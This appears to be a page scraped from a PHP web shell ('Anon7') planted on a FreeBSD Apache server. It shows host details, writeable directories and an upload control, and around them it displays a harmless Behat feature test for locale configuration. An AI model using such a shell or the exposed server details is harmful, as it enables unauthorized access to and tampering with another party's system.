KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/irtiweb/CATS/vendor/behat/behat/features/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/irtiweb/CATS/vendor/behat/behat/features/locale_configuration.feature
Feature: Locale configuration
  In order to display feature in custom language
  As a feature writer
  I need to be able to the locale inside the configuration file

  Background:
    Given a file named "features/bootstrap/FeatureContext.php" with:
      """
      <?php

      use Behat\Behat\Context\CustomSnippetAcceptingContext,
        Behat\Behat\Tester\Exception\PendingException;
      use Behat\Gherkin\Node\PyStringNode,
        Behat\Gherkin\Node\TableNode;

      class FeatureContext implements CustomSnippetAcceptingContext
      {
          public static function getAcceptedSnippetType() { return 'regex'; }
      }
      """

  Scenario:
    Given a file named "behat.yml" with:
      """
      default:
        translation:
          locale: fr
      """
    When I run "behat --no-colors -f progress"
    Then it should pass with:
      """
      Pas de scénario
      Pas d'étape
      """

  Scenario:
    Given a file named "behat.yml" with:
      """
      default:
        translation:
          locale: en
      """
    When I run "behat --no-colors -f progress"
    Then it should pass with:
      """
      No scenarios
      No steps
      """

Anon7 - 2021